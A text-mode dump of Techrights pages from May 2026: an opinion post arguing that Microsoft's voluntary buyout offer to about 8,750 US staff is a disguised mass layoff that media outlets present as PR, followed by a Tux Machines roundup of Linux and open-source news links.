⣿⣯⣽⣽⣿⣯⣯⣿⣭⣯⣿⣿⣾⣿⣿⣾⣼⣿⣾⣿⣾⣿⣶⣿⣷⣾⣿⣿⣦⣿⣷⣾⣿⣿⣶⣿⣷⣿⣿⣿⣾⣿⣾⣿⣿⣿⣿⣿⣷⣼⣿⣶⣿⣼⣷⣾⣷⣿⣿⣿⣾⣾⣿⣿⣿⣿⣿⣐⣸⣿⣔⣺⣿⣕⣪⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⡟⢿⡿⣿⣿⠿⣿⡿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣾⣷⣿⣿⣷⣿⣷⣿⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⡿⠝⢛⠛⣻⠛⡿⡛⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣧⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣞⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⡏⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⣙⣻⠿⠉⠉⠉⠉⠉⠉⠉⠉⣿⡏⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⣯⡏⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⢻⣯⠉⠉⠉⠉⠉⠉⠉⠉⠙⣿⣿⣿ ⣿⡇⠀⡄⡢⣠⠤⣤⠖⠎⠅⠊⠉⠈⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠐⠀⣀⠔⠀⠀⢷⠄⠀⠀⠀⠀⢀⠀⠀⠀⣿⣿⣿ ⣿⡧⠇⠖⠥⣢⠅⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠃⠂⠐⠒⠠⠀⡀⠀⠀⠀⠀⠀⠀⣿⣿⣿ ⣿⡧⡏⡈⠍⢀⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⣥⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿ ⣿⡇⠷⠰⢛⡀⣈⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣄⠰⠆⠀⣿⡇⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣭⢄⢂⡉⣿⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿ ⣿⣧⠐⠀⠱⢊⠔⠢⠀⠀⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠂⠀⠘⣇⠰⠄⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿ ⣿⣏⣐⣡⣀⣡⣫⣢⣀⣀⣀⣀⣢⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣿⣇⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣿⣇⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣒⣂⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣗⢻⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⢿⣿⣿⣿⢿⡿⠿⣿⢿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⡗⠒⠓⠳⠒⠖⠸⠳⠾⠿⠗⡞⠖⠚⠷⠞⠇⠺⢶⣼⣿⣿⣿⣿⣿⠶⠞⠾⠾⡖⠆⠓⣖⠊⡖⠺⠚⠟⠲⡶⣶⣶⣽⣷⣾⣿⣿⣿⣿⣿⢶⠞⠳⣞⢰⠚⡻⠖⠳⠒⣾⣶⣶⣾⣶⣷⣾⣶⣾⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣟⣭⣍⣭⣍⣿⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣟⢛⣻⣟⣻⣿⣿⣟⢛⣻⣟⣿⣛⣟⢿⣻⣻⣿⣿⣿⣿⣿⣛⣿⣛⣟⣿⣿⣟⣛⣻⣟⣿⣿⣿⣿⣟⣟⣛⣛⣛⢿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣯⣭⣿⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⡿⢿⣿⠼⡿⠿⢿⡯⠯⣿⡿⣿⠷⠿⡿⡿⡿⣽⣿⣿⣿⣿⣿⣿⠿⠾⢿⣷⢽⢽⡿⢷⢿⡿⣯⡿⡿⢿⣿⠿⣿⣿⣯⢿⠽⣿⣿⣿⣿⣿ ⠀⠀⣤⢠⣄⣠⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡄⠀⠀⠀⠀⠀⣠⣤⡀⠀⠀⠀⣠⣤⣄⠀ ⠀⠀⣿⣼⣿⣿⢳⣿⣿⡀⢸⣿⣿⣶⣿⣷⢰⣟⣷⢸⡏⣿⠀⠰⢟⣷⠀⢸⣟⡷⠾⣻⡇⣿⣧⣿⣿⡄⠰⣟⡷⢸⡟⣿⠰⣟⣷⢸⡟⠷⣾⣿⣧⠀⠾⣻⡇⣿⢻⡇⣿⢻⡇⠀⢾⣻⡆⠀⣿⠘⠛⣾⢻⡇⣿⡟⠛⠀ ⠀⠀⢿⡿⢹⣿⠸⢿⡿⠀⢸⡿⣿⠿⢧⡿⠸⣧⡿⠸⡧⣿⠀⠸⡧⣿⠀⠰⣯⡿⢿⣽⡇⣿⡟⢿⡾⠃⠰⣮⡿⢸⡧⡿⢸⡧⣿⠸⣧⠟⠿⣿⠟⠀⢿⣽⡇⣿⢸⡇⢿⢼⡇⠀⢿⢼⡇⠀⢿⣼⠟⢿⣼⠇⠻⣿⠿⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣠⣤⣤⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⣶⣶⣬⣥⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣤⣤⣄⣀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣴⣶⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣶⣶⣦⣄⣀⠀⠀⠀⠀⠀⠀⠀ ⠀⣠⣤⣤⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠛⠋⠉⠉⠙⠛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡤⠀⠀ ⠀⢺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⣴⣿⣿⣿⣿⣿⣷⣶⣶⣤⣤⣀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⠉⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁⠀⠀⠀ ⠀⢺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠙⣿⣿⣿⣿⣿⣿⣿⣥⣤⣄⠀⠀⠀⢠⣾⣿⣿⠛⠉⠙⣿⣶⡝⠻⣿⣿⣿⣿⣿⣿⣿⣿⣯⡀⠀⠀ ⠀⠛⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⡿⣿⣿⣿⠇⢠⣤⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⣼⣿⣿⠟⠉⠸⠛⣿⣿⡟⠀⠀⠀⠀⢻⣿⣿⣦⣤⣤⣿⣿⣿⣦⡌⠻⣿⠿⠿⠟⠛⠛⠛⠃⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠚⣿⣿⣿⠟⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⣤⣿⡿⢡⡆⠀⠀⠀⠿⠿⠀⠂⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠁⠀⠀⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠘⣿⣿⠇⠚⠃⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⣀⣤⣶⣶⣶⠶⠆⠀⣿⣿⣯⣭⣴⣾⣶⣦⢉⣉⠉⣭⣭⣩⣿⣿⡿⠑⠀⠀⠰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣿⡿⠿⡿⣿⣰⣿⣿⣿⣿⣿⣿⣿⢏⣾⣿⣧⣿⣿⣿⣿⣿⣶⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⡿⠿⠿⠿⠛⠿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡉⠉⢻⣿⣿⣿⣿⣿⠇⠐⠲⠿⡛⠃⢬⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠆⢠⡄⠀⠀⠀⠀⠀⠀⠀⢀⠉⠙⣖⠄⠈⣿⣿⣿⣿⡤⠦⢀⣼⣷⣴⣾⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 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═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/Microsoft_Mass_Layoffs_Are_Offers_Like_Job_Offers_Culling_Exper.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/Microsoft_Mass_Layoffs_Are_Offers_Like_Job_Offers_Culling_Exper.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Microsoft: Mass Layoffs Are "Offers" (Like "Job Offers"), Culling Experienced and Highly-Paid Staff is "Softer Workforce- reduction Strategy"⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 They are sugarcoating mass layoffs, the media plays along: 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇The program gives eligible longtime US employees a chance to leave with severance, healthcare continuation, and accelerated stock vesting, according to reports from GeekWire and The Times of India. About 8,750 workers, or roughly 7% of Microsoft’s US workforce, qualify for the one-time offer.⦈ 16 hours ago in Microsoft-connected media, puff piece by Joseph Chisom Ofonagoro Regimes try to get re-elected (or elected so as to seize power). They rely on self-serving propaganda, or "PR" for short. The state or state-owned media typically plays a role in such "PR", citing "the government" (political party, accountable to nobody). When the economy gets weak they begin obsessing over public sentiments (towards the economy), not measurable metrics like mean salaries, promotions, real money in circulation (as opposed to debt, i.e. hypothetical money) and so on. When layoffs are becoming the "new norm" for a handful of companies that borrow 200 billion dollars in less than a year (about 30 billion dollars in loans per month, for just 5 "tech" companies) they begin using tender words like "Freeze" or "Buyout" (almost indistinguishable from severance). Hours ago we said a faux-open source company, GitLab, was adopting_the_lies (upon layoffs) that 1) it's owing to slop and 2) it is voluntary. Media sites that play along with those lies don't do journalism, they're in the PR industry. When IBM used the term "RA" (as catchy or "PR" or "HR") at least it didn't call it "buyout" or some positive-sounding word. It just said "action", without specifying the kind of action (sacking, firing, canning). █ * Under_IBM,_Mass_Layoffs_at_Red_Hat_No_Better_Than_Oracle_Under_Larry Ellison_(Treating_Workers_Like_Disposables_-_Even_Enemies_-_Overnight) * Gitlab_is_in_Trouble_and_Its_Shares_Have_Collapsed ⣿⣿⡿⠿⡿⡿⠿⠿⡿⠿⠿⠿⡿⠿⡿⠿⢿⠿⠿⠿⢿⡿⡿⠿⠿⠿⠿⠿⡿⡿⣿⢿⡿⠿⠿⠿⠿⡿⢿⢿⢿⢿⠿⢿⢿⢿⢿⢿⠿⢿⡿⡿⠿⠿⣿⡿⠿⢿⢿⠿⠿⠿⠿⢿⢿⢿⡿⡿⡿⡿⠿⡿⠿⠿⢿⣿⣿⣿ ⣿⣿⣿⣿⣦⣆⣥⣯⣀⣤⣤⣤⣇⣰⣤⣤⣴⣤⣄⣠⣵⣤⣧⣤⣤⣈⣥⣿⣦⣷⣭⣼⣦⣤⣇⣤⣥⣰⣤⣤⣼⣼⣤⣤⣤⣧⣥⣼⣤⣼⣥⣤⣶⣤⣧⣤⣤⣼⣤⣴⣤⣼⣤⣤⣥⣬⣧⣤⣤⣭⣥⣬⣤⣤⣼⣿⣿⣿ ⣿⣿⣏⣉⣩⣍⣩⣉⣉⣀⣉⣍⣻⣉⣍⣸⣉⣉⣉⣁⣉⣍⣁⣉⣁⣏⣈⣉⣁⣫⣉⣉⣉⣩⡉⢻⣉⣉⣉⣉⣉⣈⡉⢨⣉⣉⣍⣍⣉⣩⣉⣇⣉⣉⣭⣇⣈⣉⣁⣁⣤⣨⣉⣏⣫⣉⣷⣆⣉⣹⣰⣩⣍⣉⣹⣩⣿⣿ ⣿⣿⡏⠛⠋⠙⠿⡏⠟⠛⠻⣻⠏⢏⠉⠙⢽⠛⠛⢛⠛⠛⡛⢿⠛⢻⠛⠛⠛⢛⡟⢻⣉⡙⢹⠛⣹⠉⠙⠛⠛⠛⠛⡙⡙⡏⠟⢹⠛⠛⢛⢛⡙⢛⠛⠻⡟⠛⠛⠿⣛⢿⠙⢛⡏⠙⠛⡟⢛⠛⣛⠋⣛⠟⢻⣿⣿⣿ ⣿⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣾⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣯⣼⣤⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣯⣭⡋⡋⡝⠉⢉⠫⡋⠉⠉⠉⠛⠉⠉⠉⠋⠋⢹⢉⡟⠍⡩⠋⠉⠉⡏⢹⠹⠉⣯⠋⡏⢹⠙⢭⠉⢙⣍⢙⠍⠉⠍⠙⡍⠋⣛⡉⠩⠉⠩⠭⡫⣫⡏⠉⠉⠉⠉⠉⠫⡏⢉⠋⠉⠉⡟⠉⠉⠉⠉⠉⣿⣿⣿⣿ ⣿⣿⡿⠿⢿⠿⡿⠿⠿⠿⢿⠿⡿⢿⡿⠿⠷⠶⠿⠿⡿⠿⠿⢿⠿⠟⠿⡿⠿⠛⠿⠿⡟⠳⠿⠿⡿⠿⠿⠿⠿⢿⠿⢿⠿⡿⠿⡿⠿⠿⠟⠻⠿⢿⠿⠿⠿⠿⢻⠿⢻⠖⠾⢷⠾⢿⠻⠶⠿⠟⠻⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣷⣾⣿⣶⣶⣶⣶⣶⣾⣶⣷⣶⣷⣴⣶⣾⣶⣶⣷⣶⣾⣾⣶⣶⣾⣷⣶⣶⣷⣶⣷⣾⣶⣶⣿⣶⣦⣷⣦⣼⣶⣿⣶⣷⣾⣷⣶⣶⣶⣶⣶⣾⣶⣶⣶⣶⣾⣶⣷⣶⣶⣷⣴⣾⣶⣦⣶⣾⣷⣾⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 2351 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/Over_at_Tux_Machines.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/Over_at_Tux_Machines.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Over at Tux Machines...⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Mediaeval Marionettes [From an illustration in a twelfth- century manuscript in the Strassbourg library]⦈ 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇Mediaeval_Marionettes_[From_an_illustration_in_a_twelfth- century_manuscript_in_the_Strassbourg_library]⦈_ ⚓ Updated This Past Day⠀⇛ 1. ⚓ Review:_Fedora_44⠀⇛ Fedora is a Linux distribution which probably needs no introduction 2. ⚓ Tux_Machines'_Upcoming_Community_Events_and_Web_Autonomy [original]⠀⇛ There's a lot to be celebrated ⚓ New⠀⇛ 3. ⚓ Free,_Libre,_and_Open_Source_Software_and_Web_Leftovers⠀⇛ mostly Web news 4. ⚓ GNU/Linux_and_BSD_Leftovers⠀⇛ mostly GNU/Linux today 5. ⚓ AMD_and_Nvidia_Changes_in_Linux⠀⇛ a triplet of updates 6. ⚓ KDE:_Oxygen’s_Revival_and_Tushar_Gupta_Works_on_Plasma_NM⠀⇛ KDE updates 7. ⚓ Android_Leftovers⠀⇛ I added a Windows-style taskbar to Android, and it just makes sense 8. ⚓ Databases:_MySQL_and_SQLite_Analysis_and_More⠀⇛ a pair of new analyses 9. ⚓ Programming_Leftovers⠀⇛ Development leftovers 10. ⚓ Security_Leftovers,_Kernel_Focus⠀⇛ Kernel related too 11. ⚓ Ubuntu_(Microsoft_Canonical)_and_Fedora_(IBM)_Promoting_Ponzi_Scheme_of Slop_for_No_Good_Reason_(No_User_Demand_for_That)⠀⇛ getting worse 12. ⚓ Sparky_8.3⠀⇛ There is the third update available for Sparky 8 – 8.3 13. ⚓ Free_and_Open_Source_Software,_howtos_and_Installations⠀⇛ This is free and open source software 14. ⚓ Open_Hardware/Modding:_ESP32,_RISC-V,_and_More⠀⇛ hardware related news 15. ⚓ today's_howtos⠀⇛ Instructionals/Technical posts 16. ⚓ Manjaro_26.1_Preview_Unveils_New_Features⠀⇛ The latest Manjaro 26.1 preview has been released with new desktop versions, a new kernel, and more 17. ⚓ Restriced_by_the_West,_Huawei's_Open_Source_HarmonyOS_Now_Powers_55 Million_Devices⠀⇛ It seems that Huawei has managed to create an ecosystem of hardware as well as software 18. ⚓ Stable_kernels:_Linux_7.0.6,_and_Linux_6.18.29⠀⇛ I'm announcing the release of the 7.0.6 kernel 19. ⚓ Linux_7.1-rc3⠀⇛ RC3 is ready 20. ⚓ Debian_14_“Forky”_to_Ship_with_Reproducible_Packages,_LoongArch64 Support⠀⇛ The upcoming Debian 14 “Forky” operating system series will ship with reproducible package builds and official support for the LoongArch64 architecture. 21. ⚓ SparkyLinux_8.3_Released_with_Support_for_Linux_Kernel_7.0,_Debian_13.4 Base⠀⇛ SparkyLinux 8.3 distribution is now available for download with support for Linux kernel 7.0, based on Debian 13 “Trixie”. Here’s what’s new! 22. ⚓ MX_Linux_25.2_Enters_Public_Beta_Testing_with_New_Text_Mode_Installer⠀⇛ MX Linux 25.2 is now available for public beta testing based on the Debian 13.4 release and featuring a new text mode installer, as well as numerous other installer improvements. 23. ⚓ Debian's_next_release_just_made_it_near-impossible_for_tampered binaries_to_sneak_onto_your_PC⠀⇛ The Linux community has been working on solving the attack vector 24. ⚓ Why_I_just_can't_love_Linux_Mint⠀⇛ Linux Mint is a stable, reliable, and user-friendly Linux distro that provides a smooth transition for Windows users coming to Linux 25. ⚓ SpacemiT_K3_integrates_8-core_RISC-V_CPU_cluster_and_60_TOPS_AI engine⠀⇛ According to Banana Pi Open Source Hardware on social media 26. ⚓ Pi_Slate_–_A_Raspberry_Pi_5_handheld_Linux_cyberdeck_with_a_5-inch 1920×720_touchscreen_display⠀⇛ We previously wrote about Carbon’s CyberT, a Blackberry-style Raspberry Pi CM4 handheld Linux cyberdeck designed for Kali Linux and penetration testing 27. ⚓ Alexandre_Oliva:_software_in_the_public_domain⠀⇛ When I was a kid learning to write my first programs in a programmable calculator with a 1-line display and some 1.4K "program steps" (whatever that meant) of memory 28. ⚓ Free_and_Open_Source_Software⠀⇛ This is free and open source software 29. ⚓ Sipeed_launches_K3_Pico-ITX_and_CoM260_boards_with_SpacemiT_RISC- V_SoC⠀⇛ Sipeed also lists software support for Bianbu OS, Ubuntu 26.04, OpenHarmony 6.0, OpenKylin, Deepin, and Fedora on the K3 Pico- ITX platform 30. ⚓ 9to5Linux_Weekly_Roundup:_May_10th,_2026⠀⇛ The 291st installment of the 9to5Linux Weekly Roundup is here for the week ending May 10th, 2026. 31. ⚓ Today_in_Techrights⠀⇛ Some of the latest articles 32. ⚓ GNU/Linux_Leftovers⠀⇛ mostly from Valnet 33. ⚓ Homelabs_and_private_cloud_workspace_at_home⠀⇛ a couple more picks from Valnet 34. ⚓ Red_Hat/Fedora:_Bazzite_44_Update,_Flatseal,_Qubes_OS⠀⇛ 4 picks for today, mostly from Valnet 35. ⚓ Gaming_With_Android_and_With_GNU/Linux⠀⇛ 2 Valnet articles 36. ⚓ Terminal:_Fish_vs_Bash,_cURL,_and_Powerful_Command-Like_Utilities⠀⇛ recent articles from Valnet ========================================================================= The corresponding text-only bulletin for Monday contains all the text. * IRC_Proceedings:_Monday,_May_11,_2026 * Update_on_Slop_About_"Linux" 